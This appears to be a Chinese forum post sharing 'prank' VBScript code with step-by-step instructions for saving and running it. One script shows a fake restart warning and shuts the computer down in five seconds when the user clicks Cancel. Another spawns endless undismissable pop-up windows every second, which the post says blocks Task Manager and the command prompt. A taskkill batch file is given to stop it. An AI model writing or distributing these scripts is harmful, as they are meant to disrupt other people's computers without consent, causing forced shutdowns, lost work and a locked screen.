恶搞程序代码

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if

加分哦

这个vbs代码超级NB，它可以弹出无数的窗口（霸屏)，而且也关不掉（无限），任务管理器和cmd都打不开（一直弹出窗口，打开不了，也清除不完，输入不了），想要关闭只能关机或者提前创建一个bat命令在桌面。
首先，先自己创建一个无限弹窗命令（这个命令只出现一个窗口，关不掉，只能用任务管理器或cmd关）
do
msgbox"%",vbcritical
loop
“%”表示弹出窗口的内容，自己修改即可，创建好这个vbs命令后，记住这个文件的地址
然后再创建一个vbs命令
set ws=createobject("wscript.shell")
do
ws.run "刚才的vbs文件地址"
wscript.sleep 1000
loop
run后面双引号的内容是刚才我们创建的vbs命令地址，例如"F:\脚本\脚本.vbs"，后缀名也要写，sleep后面的1000是弹出窗口的速度（数值越小，弹出窗口越快，可自己修改），还要注意的是以上代码的标点符号全部用英文的标点符号。
你还可以自己做一个bat命令来清除这些对话框
taskkill /f /im wscript.exe /t
这个也是用记事本写，然后将其后缀名改为bat即可，最好放在桌面或者创建一个快捷方式，清除对话框时点击这个bat命令即可。